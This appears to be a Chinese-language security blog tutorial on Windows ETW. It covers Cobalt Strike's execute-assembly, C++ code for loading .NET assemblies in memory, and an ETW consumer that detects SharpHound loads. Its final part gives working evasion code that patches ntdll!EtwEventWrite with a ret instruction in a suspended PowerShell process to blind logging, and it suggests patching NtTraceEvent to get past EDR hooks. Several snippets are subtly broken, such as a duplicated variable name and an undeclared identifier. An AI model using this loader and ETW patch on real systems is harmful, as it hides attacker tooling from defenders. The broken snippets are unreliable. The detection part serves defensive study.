前言
ETW
全称为Event Tracing for Windows
,即windows事件跟踪,它是Windows提供的原生的事件跟踪日志系统。由于采用内核层面的缓冲和日志记录机制,所以ETW
提供了一种非常高效的事件跟踪日志解决方案,本文基于ETW
探究其攻与防的实现
ETW
事件监测(Event Instrumentation
)总会包含两个基本的实体,事件的提供者(ETW Provider
)和消费者(ETW Consumer
),ETW
框架可以视为它们的中介。ETW Provider
会预先注册到ETW框架上,提供者程序在某个时刻触发事件,并将标准化定义的事件提供给ETW
框架。Consumer
同样需要注册到ETW
框架上,在注册的时候可以设置事件的删选条件和接收处理事件的回调。对于接收到的事件,如果它满足某个注册ETW Consumer
的筛选条件,ETW
会调用相应的回调来处理该事件
ETW
针对事件的处理是在某个会话(ETW Session
)中进行的,ETW Session
提供了一个接收、存储、处理和分发事件的执行上下文。ETW
框架可以创建多一个会话来处理由提供者程序发送的事件,但是ETW Session
并不会与某个单一的提供者绑定在一起,多个提供者程序可以向同一个ETW Session
发送事件。对于接收到的事件,ETW Session
可以将它保存在创建的日志文件中,也可以实时地分发给注册的消费者应用。ETW
会话的开启和终止是通过 Session
的开启和终止是通过ETW控制器(ETW Controller
)进行管理的。除了管理ETW Session
之外,ETW Controller
还可以禁用或者恢复注册到某个ETW Session
上的ETW Provider
在这里,我们可以看到所有已注册的ETW
提供者及其对应GUID
,我们还可以看到Microsoft-Windows-Threat-Intelligence
突出显示的提供者及其InstrumentationManifest
位于HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers\<PROVIDER_GUID>
注册表项的二进制清单文件因为这是一个Manifest-based ETW
提供者
logman.exe query providers
我们可以使用以下命令获取更多详细信息并了解提供程序支持的事件类型
logman.exe query providers Microsoft-Windows-Threat-Intelligence
也可以XML Manifest
使用此工具检索文件,这使我们可以更详细地了解特定EtwTi
事件记录的参数
使用x nt!EtwTi*
来查看内核里面的所有例程
execute-assembly
cs在3.11版本实现了在非托管程序中加载.net
程序集的功能,这个功能不需要向硬盘写入文件,十分隐蔽,而且现有的Powershell
脚本能够很容易的转换为C#
代码,十分方便,使用到的就是execute-assembly
这个命令,这里我们用c#程序sharphound.exe
进行演示,这个程序用来导出域内关系并可视化
execute-assembly D:\Bloodhound\SharpHound.exe -c all
首先我们来了解一下托管程序和非托管程序,说到这里就需要提一个CLR
。CLR
全称Common Language Runtime(公共语言运行库),是一个可由多种编程语言使用的运行环境。CLR
是.NET Framework
的主要执行引擎,作用之一是监视程序的运行:
- 在CLR监视之下运行的程序属于托管的代码
- 不在CLR之下,直接在裸机上运行的应用或者组件属于非托管的代码
托管程序与非托管程序的概念如下
托管代码就是Visual Basic .NET和C#编译器编译出来的代码。编译器把代码编译成中间语言(IL),而不是能直接在你的电脑上运行的机器码。中间语言被封装在一个叫程序集 (assembly)的文件中,程序集中包含了描述你所创建的类,方法和属性(例如安全需求)的所有元数据。
非托管代码就是在Visual Studio .NET 2002发布之前所创建的代码。例如Visual Basic 6, Visual C++ 6, 最糟糕的是,连那些依然残存在你的硬盘中、拥有超过15年历史的陈旧C编译器所产生的代码都是非托管代码。托管代码直接编译成目标计算机的机械码,这些代 码只能运行在编译出它们的计算机上,或者是其它相同处理器或者几乎一样处理器的计算机上。
再就是Unmanaged API
,它其实是一套能将.net
程序集加载到任意程序里面的API
,它支持ICorRuntimeHost Interface
和ICLRRuntimeHost Interface
两种接口,我们看一下msdn里面的描述
其中ICorRuntimeHost Interface
支持的版本有v1.0.3705
, v1.1.4322
, v2.0.50727
,v4.0.30319
,ICLRRuntimeHost Interface
支持的版本有v2.0.50727
,v4.0.30319
,在实际的开发里面两种接口都是可以使用的
cs实现在非托管程序中加载主要是调用了ICLRRuntimeHost
的接口,主要用到以下3个接口
ICLRMetaHost
ICLRRuntimeInfo
ICLRRuntimeHost
ICLRMetaHost
提供基于版本号返回特定版本的公共语言运行时 (CLR)、列出所有已安装的 CLR、列出在指定进程中加载的所有运行时、发现用于编译程序集的 CLR 版本、退出进程的方法干净的运行时关闭,并查询旧版 API 绑定
ICLRRuntimeInfo
提供一些方法,这些方法可返回有关特定公共语言运行时 (CLR) 的信息,包括版本、目录和加载状态。 此接口还提供了特定于运行时的功能,而无需初始化运行时。 它包括运行时相对 LoadLibrary 方法、运行时模块特定的 GetProcAddress 方法和通过 GetInterface 方法提供的运行时提供的接口
ICLRRuntimeHost
提供与 .NET Framework 版本1中提供的 ICorRuntimeHost
接口类似的功能,其中包含以下更改: 用于设置宿主控件接口的 SetHostControl
方法的添加,省略提供的某些方法 ICorRuntimeHost
硬盘加载
首先这里我们写一个Printf
函数,使用Console.WriteLine
接收
namespace etw1
{
class Program
{
static int Main(String[] args)
{
return 1;
}
static int Printf(String strings)
{
Console.WriteLine(strings);
return 1;
}
}
}
在服务端我们首先使用CLRCreateInstance
初始化ICLRMetaHost
接口
CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&iMetaHost);
然后调用GetRuntime
方法获取ICLRRuntimeInfo
接口
iMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (LPVOID*)&iRuntimeInfo);
再使用ICLRRuntimeInfo
将 CLR
加载到当前进程,返回运行时接口ICLRRuntimeHost
指针
iRuntimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)&iRuntimeHost);
然后再通过ICLRRuntimeHost.EecuteInDefaultAppDomain
执行指定程序
iRuntimeHost->ExecuteInDefaultAppDomain
(L"F:\\C#\\etw1\\bin\\Debug\\etw1.exe", L"etw1.Program", L"Printf", L"etw1", NULL);
实现效果如下
内存加载
内存加载相对于硬盘加载,首先是整个过程都会在内存执行而不会写入文件,隐蔽性较好,而且最终的payload为c#程序,调用powershell十分方便利用
那么我们来进行代码的实现,首先还是初始化CLR
环境
CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (VOID**)&iMetaHost);
iMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (VOID**)&iRuntimeInfo);
iRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, (VOID**)&iRuntimeHost);
iRuntimeHost->Start();
然后使用ICLRRuntimeHost
获取AppDomain
接口指针,然后通过AppDomain
接口的QueryInterface
方法来查询默认应用程序域的实例指针
iRuntimeHost->GetDefaultDomain(&pAppDomain);
pAppDomain->QueryInterface(__uuidof(_AppDomain), (VOID**)&pDefaultAppDomain);
使用Load_3(…)
从内存中读取并加载.NET
程序集
saBound[0].cElements = ASSEMBLY_LENGTH;
saBound[0].lLbound = 0;
SAFEARRAY* pSafeArray = SafeArrayCreate(VT_UI1, 1, saBound);
SafeArrayAccessData(pSafeArray, &pData);
memcpy(pData, dotnetRaw, ASSEMBLY_LENGTH);
SafeArrayUnaccessData(pSafeArray);
pDefaultAppDomain->Load_3(pSafeArray, &pAssembly);
pAssembly->get_EntryPoint(&pMethodInfo);
创建安全数组并执行入口点
ZeroMemory(&vRet, sizeof(VARIANT));
ZeroMemory(&vObj, sizeof(VARIANT));
vObj.vt = VT_NULL;
vPsa.vt = (VT_ARRAY | VT_BSTR);
args = SafeArrayCreateVector(VT_VARIANT, 0, 1);
if (argc > 1)
{
vPsa.parray = SafeArrayCreateVector(VT_BSTR, 0, argc);
for (long i = 0; i < argc; i++)
{
SafeArrayPutElement(vPsa.parray, &i, SysAllocString(argv[i]));
}
long idx[1] = { 0 };
SafeArrayPutElement(args, idx, &vPsa);
}
HRESULT hr = pMethodInfo->Invoke_3(vObj, args, &vRet);
检测execute-assembly
一般检测execute-assembly
都会使用windows事件跟踪,即ETW
,例如这里启动一个powershell
进程,通过procexp
查看可以看到被CLR
托管的dll
我们可以从processhacker
工具源码里面的asmpage.c
(https://github.com/processhacker/processhacker/blob/master/plugins/DotNetTools/asmpage.c)源码里面查看这类工具是怎样枚举.net
工具集的,这里挑出关键代码编译成etw2.exe
static GUID ClrRuntimeProviderGuid = { 0xe13c0d23, 0xccbc, 0x4e12, { 0x93, 0x1b, 0xd9, 0xcc, 0x2e, 0xee, 0x27, 0xe4 } };
const char name[] = "dotnet trace\0";
#pragma pack(1)
typedef struct _AssemblyLoadUnloadRundown_V1
{
ULONG64 AssemblyID;
ULONG64 AppDomainID;
ULONG64 BindingID;
ULONG AssemblyFlags;
WCHAR FullyQualifiedAssemblyName[1];
} AssemblyLoadUnloadRundown_V1, * PAssemblyLoadUnloadRundown_V1;
#pragma pack()
static void NTAPI ProcessEvent(PEVENT_RECORD EventRecord) {
PEVENT_HEADER eventHeader = &EventRecord->EventHeader;
PEVENT_DESCRIPTOR eventDescriptor = &eventHeader->EventDescriptor;
AssemblyLoadUnloadRundown_V1* assemblyUserData;
switch (eventDescriptor->Id) {
case AssemblyDCStart_V1:
assemblyUserData = (AssemblyLoadUnloadRundown_V1*)EventRecord->UserData;
wprintf(L"[%d] - Assembly: %s\n", eventHeader->ProcessId, assemblyUserData->FullyQualifiedAssemblyName);
break;
}
}
int main(void)
{
TRACEHANDLE hTrace = 0;
ULONG result, bufferSize;
EVENT_TRACE_LOGFILEA trace;
EVENT_TRACE_PROPERTIES* traceProp;
printf(".net_ETW_finder\n\n");
memset(&trace, 0, sizeof(EVENT_TRACE_LOGFILEA));
trace.ProcessTraceMode = PROCESS_TRACE_MODE_REAL_TIME | PROCESS_TRACE_MODE_EVENT_RECORD;
trace.LoggerName = (LPSTR)name;
trace.EventRecordCallback = (PEVENT_RECORD_CALLBACK)ProcessEvent;
bufferSize = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(name) + sizeof(WCHAR);
traceProp = (EVENT_TRACE_PROPERTIES*)LocalAlloc(LPTR, bufferSize);
traceProp->Wnode.BufferSize = bufferSize;
traceProp->Wnode.ClientContext = 2;
traceProp->Wnode.Flags = WNODE_FLAG_TRACED_GUID;
traceProp->LogFileMode = EVENT_TRACE_REAL_TIME_MODE | EVENT_TRACE_USE_PAGED_MEMORY;
traceProp->LogFileNameOffset = 0;
traceProp->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);
if ((result = StartTraceA(&hTrace, (LPCSTR)name, traceProp)) != ERROR_SUCCESS) {
printf("[!] Error starting trace: %d\n", result);
return 1;
}
if ((result = EnableTraceEx(
&ClrRuntimeProviderGuid,
NULL,
hTrace,
1,
TRACE_LEVEL_VERBOSE,
0x8, // LoaderKeyword
0,
0,
NULL
)) != ERROR_SUCCESS) {
printf("[!] Error EnableTraceEx\n");
return 2;
}
hTrace = OpenTrace(&trace);
if (hTrace == INVALID_PROCESSTRACE_HANDLE) {
printf("[!] Error OpenTrace\n");
return 3;
}
result = ProcessTrace(&hTrace, 1, NULL, NULL);
if (result != ERROR_SUCCESS) {
printf("[!] Error ProcessTrace\n");
return 4;
}
return 0;
}
首先cs上线
然后启动我们的监控程序
在beacon里面调用SharpHound.exe
,这里需要在域内且具有.net
环境才能够运行成功,执行以下命令
execute-assembly D:\Bloodhound\SharpHound.exe 1.2.3.4
这里就会在exe存放的位置生成以下三个文件
然后我们去看一下我们的监控程序,可以看到已经识别出了SharpHound
的调用
这里如果想要规避检测,可以更改程序名的名字,但是这里只要修改检测方法为显示可疑方法的名称即可
switch (eventDescriptor->Id) {
case MethodLoadVerbose_V1:
methodUserData = (struct _MethodLoadVerbose_V1*)EventRecord->UserData;
WCHAR* MethodNameSpace = methodUserData->MethodNameSpace;
WCHAR* MethodName = (WCHAR*)(((char*)methodUserData->MethodNameSpace) + (lstrlenW(methodUserData->MethodNameSpace) * 2) + 2);
WCHAR* MethodSignature = (WCHAR*)(((char*)MethodName) + (lstrlenW(MethodName) * 2) + 2);
wprintf(L"[%d] - MethodNameSpace: %s\n", eventHeader->ProcessId, methodUserData->MethodNameSpace);
}
这里通过select-string
查找SharpHound
方法
这里还是启动一下我们的SharpHound
程序
可以看到还是被监控到了Sharphound2.Sharphound
方法
规避ETW检测
通过查阅资料后发现ETW
将 TRUE
布尔参数传递到nt!EtwpStopTrace
函数中,以查找 ETW
特定结构并动态修改或修补ntdll!ETWEventWrite
或advapi32!EventWrite
立即返回从而停止用户模式记录器
也就是说在3环ETW
是通过ntdll.dll
的EtwEventWriteFull
函数实现的
往下跟发现调用了EtwEventWriteFull
,然后EtwEventWriteFull
调用EtwpEventWriteFull
我们继续往下看EtwEventWriteFull
函数,调用了NtTraceEvent
继续跟NtTraceEvent
,可以发现NtTraceEvent
通过syscall
进入内核
这里我们可以打印一下地址
那么我们在EtwEventWriteFull
直接使用0xc3
即ret
返回,即可达到绕过的效果,首先我们通过x64dbg
和powershell验证一下
首先使用x64dbg创建一个powershell进程,这时x64dbg会在线程初始化前下一个断点
定位到ntdll!EtwEventWrite
一般windows api默认使用stdcall
(x86)调用约定,这里x64默认使用fastcall
,即寄存器传参,被调用者清理堆栈,所以我们直接使用ret
即C3
返回即可
查看CLR
日志已经被清空
这里通过代码实现,定位到ntdll!EtwEventWrite
函数,然后在入口处ret
返回即可,使用VirtualProtectEx
修改属性
void bypassetw()
{
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(si);
CreateProcessA(NULL, (LPSTR)"powershell -NoExit", NULL, NULL, NULL, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
unsigned char pEtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0 };
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
LPVOID pEtwEventWrite = GetProcAddress(hNtdll, (LPCSTR)pEtwEventWrite);
DWORD oldProtect;
char patch = 0xc3;
VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
WriteProcessMemory(pi.hProcess, (LPVOID)pEtwEventWrite, &patch, sizeof(char), NULL);
VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, oldProtect, NULL);
ResumeThread(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
FreeLibrary(hNtdll);
return 0;
}
实现效果如下,可以看到起了一个powershell进程,查看CLR
日志也被清空
这里可能某些EDR会hookEtwEventWrite
这个函数,那么我们直接往syscall
进0环的函数去挂钩,代码如下
unsigned char sNtTraceEvent[] = { 'N','t','T','r','a','c','e','E','v','e','n','t', 0};
LPVOID pNtTraceEvent = GetProcAddress(hNtdll, (LPCSTR)sEtwEventWrite);
可以看到CLR
日志也被清空